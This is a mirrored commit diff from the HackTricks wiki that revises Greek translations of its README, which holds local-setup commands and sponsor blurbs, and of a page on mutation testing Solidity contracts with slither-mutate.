mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/socket-command
This commit is contained in:
parent
e7fbcde542
commit
6fdc35f03c
@ -2,9 +2,9 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks λογότυπα & motion design από_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks λογότυπα & σχεδιασμός κίνησης από_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Εκτέλεση HackTricks τοπικά
|
||||
### Τρέξτε το HackTricks τοπικά
|
||||
```bash
|
||||
# Download latest version of hacktricks
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Η τοπική σας αντιγραφή του HackTricks θα είναι **διαθέσιμη στο [http://localhost:3337](http://localhost:3337)** μετά από <5 λεπτά (πρέπει να χτίσει το βιβλίο, να είστε υπομονετικοί).
|
||||
Το τοπικό σας αντίγραφο του HackTricks θα είναι **available at [http://localhost:3337](http://localhost:3337)** μετά από <5 λεπτά (πρέπει να χτίσει το βιβλίο, να είστε υπομονετικοί).
|
||||
|
||||
## Εταιρικοί Χορηγοί
|
||||
## Χορηγοί
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του οποίου το σύνθημα είναι **HACK THE UNHACKABLE**. Πραγματοποιούν τη δική τους έρευνα και αναπτύσσουν τα δικά τους hacking εργαλεία για να **προσφέρουν αρκετές πολύτιμες υπηρεσίες κυβερνοασφάλειας** όπως pentesting, Red teams και εκπαίδευση.
|
||||
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του οποίου το σλόγκαν είναι **HACK THE UNHACKABLE**. Εκτελούν δική τους έρευνα και αναπτύσσουν τα δικά τους hacking εργαλεία για να **προσφέρουν πολλές πολύτιμες υπηρεσίες κυβερνοασφάλειας** όπως pentesting, Red teams και εκπαίδευση.
|
||||
|
||||
Μπορείτε να δείτε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** επίσης στηρίζει open source έργα κυβερνοασφάλειας όπως το HackTricks :)
|
||||
**STM Cyber** υποστηρίζει επίσης open source έργα κυβερνοασφάλειας όπως το HackTricks :)
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό event κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **την αποστολή προώθησης της τεχνικής γνώσης**, αυτό το συνέδριο αποτελεί ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
|
||||
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό event κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **την αποστολή της προώθησης τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας από κάθε τομέα.
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** είναι η **Europe's #1** ethical hacking και **bug bounty platform.**
|
||||
**Intigriti** είναι η **Europe's #1** πλατφόρμα για ethical hacking και **bug bounty platform.**
|
||||
|
||||
**Bug bounty tip**: **sign up** για **Intigriti**, μια premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και ξεκινήστε να κερδίζετε bounties μέχρι **$100,000**!
|
||||
**Bug bounty tip**: **εγγραφείτε** στο **Intigriti**, μια premium **bug bounty platform created by hackers, for hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε bounties έως **$100,000**!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργείτε εύκολα και να **αυτοματοποιείτε workflows** που τροφοδοτούνται από τα **πιο προηγμένα** community εργαλεία στον κόσμο.
|
||||
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που τροφοδοτούνται από τα **πιο προηγμένα** community εργαλεία στον κόσμο.
|
||||
|
||||
Get Access Today:
|
||||
Αποκτήστε Πρόσβαση Σήμερα:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
@ -94,11 +94,11 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και bug bounty hunters!
|
||||
|
||||
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
|
||||
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
- **Hacking Insights:** Εμπλακείτε με περιεχόμενο που εμβαθύνει στη συγκίνηση και τις προκλήσεις του hacking
|
||||
- **Real-Time Hack News:** Μείνετε ενημερωμένοι για τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
|
||||
- **Latest Announcements:** Ενημερωθείτε για τα νεότερα bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
|
||||
|
||||
---
|
||||
|
||||
@ -106,9 +106,9 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server γ
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
**Λάβετε την προοπτική ενός hacker για τις web εφαρμογές, το δίκτυο και το cloud σας**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Χρησιμοποιήστε τα 20+ custom εργαλεία μας για να χαρτογραφήσετε την attack surface, να εντοπίσετε θέματα ασφάλειας που επιτρέπουν escalation privileges, και να χρησιμοποιήσετε automated exploits για να συλλέξετε απαραίτητα αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
|
||||
**Εντοπίστε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρησιακό αντίκτυπο.** Χρησιμοποιήστε τα 20+ custom εργαλεία μας για να χαρτογραφήσετε την attack surface, να βρείτε ζητήματα ασφαλείας που επιτρέπουν escalation privileges, και να χρησιμοποιήσετε automated exploits για να συλλέξετε απαραίτητα αποδεικτικά, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,12 +120,12 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** προσφέρει γρήγορα και εύκολα real-time APIs για να **access search engine results**. Κάνουν scraping σε search engines, διαχειρίζονται proxies, λύνουν captchas, και parse-άρουν όλα τα rich structured data για εσάς.
|
||||
**SerpApi** προσφέρει γρήγορα και εύκολα real-time APIs για να **έχετε πρόσβαση σε αποτελέσματα μηχανών αναζήτησης**. Κάνουν scraping στις μηχανές αναζήτησης, διαχειρίζονται proxies, λύνουν captchas, και parse-άρουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
|
||||
|
||||
Μια συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών search engines, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex, και άλλα.\
|
||||
Σε αντίθεση με άλλους providers, **SerpApi doesn’t just scrape organic results**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλα τα ads, inline images και videos, knowledge graphs, και άλλα στοιχεία και features που υπάρχουν στα search results.
|
||||
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν περιορίζεται μόνο στο scraping των organic results**. Οι απαντήσεις της SerpApi περιλαμβάνουν συστηματικά όλες τις διαφημίσεις, inline εικόνες και βίντεο, knowledge graphs, και άλλα στοιχεία και features που υπάρχουν στα αποτελέσματα αναζήτησης.
|
||||
|
||||
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify, and GrubHub**.\
|
||||
Τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify, και GrubHub**.\
|
||||
Για περισσότερες πληροφορίες δείτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
|
||||
Μπορείτε να **δημιουργήσετε δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
@ -135,7 +135,7 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να πραγματοποιήσετε vulnerability research, penetration testing, και reverse engineering για να προστατέψετε mobile applications και devices. **Master iOS and Android security** μέσω των on-demand courses μας και **get certified**:
|
||||
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να πραγματοποιείτε vulnerability research, penetration testing, και reverse engineering για να προστατεύετε mobile applications και συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **πάρτε πιστοποίηση**:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατέψει** επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **offensive-security services** με μια **μοντέρνα** προσέγγιση.
|
||||
[**WebSec**](https://websec.net) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Amsterdam** που βοηθά στην **προστασία** επιχειρήσεων **σε όλον τον κόσμο** απέναντι στις πιο πρόσφατες απειλές κυβερνοασφάλειας προσφέροντας **offensive-security services** με μια **σύγχρονη** προσέγγιση.
|
||||
|
||||
Η WebSec είναι μια διεθνής εταιρεία ασφαλείας με γραφεία σε Amsterdam και Wyoming. Προσφέρουν **all-in-one security services** που σημαίνει ότι κάνουν σχεδόν τα πάντα: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing και πολλά άλλα.
|
||||
Η WebSec είναι μια διεθνής εταιρεία ασφαλείας με γραφεία σε Amsterdam και Wyoming. Προσφέρουν **all-in-one security services** που σημαίνει ότι τα καλύπτουν όλα: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing και πολλά άλλα.
|
||||
|
||||
Ένα ακόμα καλό για τη WebSec είναι ότι σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, στο site τους αναφέρεται "**If we can't hack it, You don't pay it!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στο [**website**](https://websec.net/en/) και στο [**blog**](https://websec.net/blog/)!
|
||||
Ένα ακόμα καλό στοιχείο για τη WebSec είναι ότι σε αντίθεση με το μέσο της βιομηχανίας η WebSec είναι **πολύ αυτοπεποίθηση στις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, όπως αναφέρεται στην ιστοσελίδα τους "**If we can't hack it, You don't pay it!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στην [**website**](https://websec.net/en/) και στο [**blog**](https://websec.net/blog/)!
|
||||
|
||||
Επιπλέον, η WebSec είναι επίσης **δέσμευση υποστηρικτής του HackTricks.**
|
||||
Επιπλέον, η WebSec είναι επίσης **αφοσιωμένος υποστηρικτής του HackTricks.**
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) είναι μια μηχανή αναζήτησης data breach (leak). \
|
||||
Προσφέρουμε random string search (like google) πάνω σε όλα τα είδη data leaks μεγάλα και μικρά --όχι μόνο τα μεγάλα-- πάνω σε δεδομένα από πολλαπλές πηγές. \
|
||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, όλα τα features που χρειάζεται ένας pentester.\
|
||||
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) είναι μια μηχανή αναζήτησης για data breach (leak). \
|
||||
Παρέχουμε random string search (σαν google) πάνω σε όλα τα είδη data leaks μεγάλα και μικρά --όχι μόνο τα μεγάλα-- πάνω σε δεδομένα από πολλαπλές πηγές. \
|
||||
Αναζητήσεις ατόμων, αναζήτηση με AI, αναζήτηση οργανισμών, API (OpenAPI) πρόσβαση, theHarvester integration, όλα τα features που χρειάζεται ένας pentester.\
|
||||
**Το HackTricks συνεχίζει να είναι μια εξαιρετική πλατφόρμα μάθησης για όλους μας και είμαστε περήφανοι που τη χορηγούμε!**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -182,12 +182,15 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) αναπτύσσει και παραδίδει αποτελεσματική εκπαίδευση κυβερνοασφάλειας σχεδιασμένη και καθοδηγούμενη από industry experts. Τα προγράμματά τους ξεπερνούν τη θεωρία για να εξοπλίσουν ομάδες με βαθιά κατανόηση και εφαρμόσιμες δεξιότητες, χρησιμοποιώντας custom περιβάλλοντα που αντανακλούν πραγματικές απειλές. Για προσαρμοσμένες εκπαιδεύσεις, επικοινωνήστε μαζί μας [**εδώ**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) αναπτύσσει και παρέχει αποτελεσματική εκπαίδευση κυβερνοασφάλειας που δημιουργείται και διδάσκεται από
|
||||
ειδικούς του κλάδου. Τα προγράμματά τους υπερβαίνουν τη θεωρία για να εξοπλίσουν ομάδες με βαθιά
|
||||
κατανόηση και εφαρμόσιμες δεξιότητες, χρησιμοποιώντας προσαρμοσμένα περιβάλλοντα που αντικατοπτρίζουν πραγματικές
|
||||
απειλές. Για ερωτήματα για custom training, επικοινωνήστε μαζί μας [**εδώ**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
|
||||
**Τι ξεχωρίζει την εκπαίδευσή τους:**
|
||||
* Custom-built content and labs
|
||||
* Backed by top-tier tools and platforms
|
||||
* Designed and taught by practitioners
|
||||
* Προσαρμοσμένο περιεχόμενο και labs
|
||||
* Υποστηρίζεται από κορυφαία εργαλεία και πλατφόρμες
|
||||
* Σχεδιασμένο και διδασκόμενο από πρακτικούς επαγγελματίες
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -199,13 +202,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions παρέχει εξειδικευμένες υπηρεσίες κυβερνοασφάλειας για ιδρύματα **Education** και **FinTech**, με έμφαση σε **penetration testing, cloud security assessments**, και **compliance readiness** (SOC 2, PCI-DSS, NIST). Η ομάδα μας περιλαμβάνει επαγγελματίες πιστοποιημένους με **OSCP and CISSP**, φέρνοντας βαθιά τεχνική εξειδίκευση και γνώση βιομηχανικών προτύπων σε κάθε συνεργασία.
|
||||
Last Tower Solutions παρέχει εξειδικευμένες υπηρεσίες κυβερνοασφάλειας για ιδρύματα **Education** και **FinTech**, με έμφαση στο **penetration testing, cloud security assessments**, και **compliance readiness** (SOC 2, PCI-DSS, NIST). Η ομάδα μας περιλαμβάνει επαγγελματίες με πιστοποιήσεις **OSCP και CISSP**, φέρνοντας βαθιά τεχνική εμπειρία και πληροφόρηση σύμφωνη με τα industry standards σε κάθε έργο.
|
||||
|
||||
Προχωρούμε πέρα από τα automated scans με **manual, intelligence-driven testing** προσαρμοσμένο σε περιβάλλοντα υψηλού ρίσκου. Από την ασφάλεια των μαθητικών αρχείων μέχρι την προστασία χρηματοοικονομικών συναλλαγών, βοηθάμε οργανισμούς να υπερασπίζονται ό,τι έχει μεγαλύτερη σημασία.
|
||||
Προχωράμε πέρα από τα automated scans με **manual, intelligence-driven testing** προσαρμοσμένο σε περιβάλλοντα υψηλού ρίσκου. Από την ασφάλιση αρχείων φοιτητών μέχρι την προστασία χρηματοοικονομικών συναλλαγών, βοηθούμε οργανισμούς να υπερασπιστούν ό,τι έχει μεγαλύτερη σημασία.
|
||||
|
||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||
|
||||
Μείνετε ενημερωμένοι με τα τελευταία νέα στην κυβερνοασφάλεια επισκεπτόμενοι το [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
Μείνετε ενημερωμένοι με τα τελευταία στον τομέα της κυβερνοασφάλειας επισκεπτόμενοι το [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -215,11 +218,11 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE δίνει τη δυνατότητα σε DevOps, DevSecOps, και developers να διαχειρίζονται, να παρακολουθούν, και να ασφαλίζουν Kubernetes clusters αποδοτικά. Αξιοποιήστε τα AI-driven insights μας, το advanced security framework, και το ευχάριστο CloudMaps GUI για να οπτικοποιήσετε τα clusters σας, να κατανοήσετε την κατάσταση τους, και να δράσετε με αυτοπεποίθηση.
|
||||
Το K8Studio IDE δίνει τη δυνατότητα σε DevOps, DevSecOps και developers να διαχειρίζονται, να παρακολουθούν και να ασφαλίζουν Kubernetes clusters αποδοτικά. Αξιοποιήστε τα AI-driven insights μας, το προηγμένο security framework, και το διαισθητικό CloudMaps GUI για να οπτικοποιήσετε τα clusters σας, να κατανοήσετε την κατάστασή τους και να δράσετε με αυτοπεποίθηση.
|
||||
|
||||
Επιπλέον, το K8Studio είναι **συμβατό με όλες τις κύριες kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||
Επιπλέον, το K8Studio είναι **συμβατό με όλες τις μεγάλες διανομές kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
@ -228,15 +231,15 @@ https://k8studio.io/
|
||||
|
||||
---
|
||||
|
||||
## License & Disclaimer
|
||||
## Άδεια & Αποποίηση
|
||||
|
||||
Check them in:
|
||||
Δείτε τα εδώ:
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## Github Stats
|
||||
## Github Στατιστικά
|
||||
|
||||

|
||||
|
||||
|
@ -950,4 +950,4 @@
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
@ -1,14 +1,14 @@
|
||||
# Mutation Testing για Solidity με Slither (slither-mutate)
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing "tests your tests" εισάγοντας συστηματικά μικρές αλλαγές (mutants) στον κώδικά σας σε Solidity και επανεκτελώντας το test suite σας. Αν ένα test αποτύχει, ο mutant σκοτώνεται. Αν τα tests εξακολουθούν να περνούν, ο mutant επιβιώνει, αποκαλύπτοντας ένα τυφλό σημείο στο test suite σας που η line/branch coverage δεν μπορεί να εντοπίσει.
|
||||
Το mutation testing "tests your tests" εισάγει συστηματικά μικρές αλλαγές (mutants) στον κώδικα Solidity και επανεκτελεί το test suite. Αν κάποιο test αποτύχει, ο mutant σκοτώνεται. Αν τα tests συνεχίσουν να περνούν, ο mutant επιβιώνει, αποκαλύπτοντας ένα τυφλό σημείο στο test suite σου που η κάλυψη γραμμής/διακλάδωσης δεν μπορεί να ανιχνεύσει.
|
||||
|
||||
Κεντρική ιδέα: Η coverage δείχνει ότι ο κώδικας εκτελέστηκε· το mutation testing δείχνει αν η συμπεριφορά πράγματι επιβεβαιώνεται.
|
||||
Key idea: Η κάλυψη δείχνει ότι ο κώδικας εκτελέστηκε· το mutation testing δείχνει αν η συμπεριφορά όντως επαληθεύεται.
|
||||
|
||||
## Γιατί η coverage μπορεί να παραπλανήσει
|
||||
## Γιατί η κάλυψη μπορεί να παραπλανήσει
|
||||
|
||||
Εξετάστε αυτόν τον απλό έλεγχο κατωφλίου:
|
||||
Εξετάστε αυτόν τον απλό έλεγχο ορίου:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,94 +18,94 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
Τα unit tests που ελέγχουν μόνο μια τιμή κάτω και μια τιμή πάνω από το όριο μπορούν να φτάσουν στο 100% κάλυψη γραμμών/διακλαδώσεων ενώ αποτυγχάνουν να ελέγξουν το όριο ισότητας (==). Μια αναδιάρθρωση σε `deposit >= 2 ether` θα περνούσε ακόμα τέτοια tests, σιωπηρά σπάζοντας τη λογική του πρωτοκόλλου.
|
||||
Τα unit tests που ελέγχουν μόνο μια τιμή κάτω και μια τιμή πάνω από το όριο μπορούν να πετύχουν 100% κάλυψη γραμμής/κλάδου ενώ αποτυγχάνουν να επαληθεύσουν το σύνορο ισότητας (==). Η αλλαγή σε `deposit >= 2 ether` θα περνούσε επίσης τέτοια tests, σιωπηλά σπάζοντας τη λογική του πρωτοκόλλου.
|
||||
|
||||
Mutation testing αποκαλύπτει αυτό το κενό μεταλλάσσοντας τη συνθήκη και επαληθεύοντας ότι τα tests σας αποτυγχάνουν.
|
||||
Το mutation testing αποκαλύπτει αυτό το κενό μεταλλάσσοντας τη συνθήκη και επαληθεύοντας ότι τα tests αποτυγχάνουν.
|
||||
|
||||
## Common Solidity mutation operators
|
||||
## Συνηθισμένοι mutation operators της Solidity
|
||||
|
||||
Slither’s mutation engine εφαρμόζει πολλές μικρές, που αλλάζουν τη σημασιολογία, τροποποιήσεις, όπως:
|
||||
- Αντικατάσταση τελεστή: `+` ↔ `-`, `*` ↔ `/`, κ.λπ.
|
||||
Ο μηχανισμός mutation του Slither εφαρμόζει πολλές μικρές τροποποιήσεις που αλλάζουν τη σημασιολογία, όπως:
|
||||
- Αντικατάσταση τελεστών: `+` ↔ `-`, `*` ↔ `/`, κ.λπ.
|
||||
- Αντικατάσταση ανάθεσης: `+=` → `=`, `-=` → `=`
|
||||
- Αντικατάσταση σταθεράς: μη μηδενικό → 0, `true` ↔ `false`
|
||||
- Άρνηση/αντικατάσταση συνθήκης εντός `if`/βρόχων
|
||||
- Μετατροπή ολόκληρων γραμμών σε σχόλια (CR: Comment Replacement)
|
||||
- Αντικατάσταση σταθερών: μη-μηδενικό → `0`, `true` ↔ `false`
|
||||
- Άρνηση/αντικατάσταση συνθήκης μέσα σε `if`/βρόχους
|
||||
- Σχολιασμός ολόκληρων γραμμών (CR: Comment Replacement)
|
||||
- Αντικατάσταση μιας γραμμής με `revert()`
|
||||
- Ανταλλαγές τύπου δεδομένων: π.χ. `int128` → `int64`
|
||||
- Ανταλλαγή τύπων δεδομένων: π.χ. `int128` → `int64`
|
||||
|
||||
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
|
||||
Στόχος: Να εξαλειφθούν το 100% των παραγόμενων mutants, ή να δικαιολογηθούν οι επιζώντες με σαφή αιτιολόγηση.
|
||||
|
||||
## Running mutation testing with slither-mutate
|
||||
## Εκτέλεση mutation testing με slither-mutate
|
||||
|
||||
Requirements: Slither v0.10.2+.
|
||||
Απαιτήσεις: Slither v0.10.2+.
|
||||
|
||||
- Εμφάνιση επιλογών και mutators:
|
||||
- Καταγραφή επιλογών και mutators:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry παράδειγμα (καταγράψτε τα αποτελέσματα και κρατήστε πλήρες αρχείο καταγραφής):
|
||||
- Foundry παράδειγμα (καταγραφή αποτελεσμάτων και διατήρηση πλήρους αρχείου):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Αν δεν χρησιμοποιείτε Foundry, αντικαταστήστε το `--test-cmd` με τον τρόπο που τρέχετε τα tests (π.χ. `npx hardhat test`, `npm test`).
|
||||
- Αν δεν χρησιμοποιείτε Foundry, αντικαταστήστε το `--test-cmd` με τον τρόπο που τρέχετε τα tests (π.χ., `npx hardhat test`, `npm test`).
|
||||
|
||||
Τα artifacts και οι αναφορές αποθηκεύονται στο `./mutation_campaign` από προεπιλογή. Οι μη εντοπισμένοι (επιζώντες) mutants αντιγράφονται εκεί για έλεγχο.
|
||||
Τα artifacts και οι αναφορές αποθηκεύονται στο `./mutation_campaign` από προεπιλογή. Οι μη εξουδετερωμένοι (επιζώντες) mutants αντιγράφονται εκεί για επιθεώρηση.
|
||||
|
||||
### Κατανόηση της εξόδου
|
||||
### Understanding the output
|
||||
|
||||
Οι γραμμές της αναφοράς μοιάζουν ως εξής:
|
||||
Οι γραμμές της αναφοράς μοιάζουν με:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- Το tag σε αγκύλες είναι το alias του mutator (π.χ., `CR` = Comment Replacement).
|
||||
- Το `UNCAUGHT` σημαίνει ότι οι δοκιμές πέρασαν υπό τη μεταλλαγμένη συμπεριφορά → λείπει assertion.
|
||||
- Το tag σε αγκύλες είναι το ψευδώνυμο του mutator (π.χ., `CR` = Comment Replacement).
|
||||
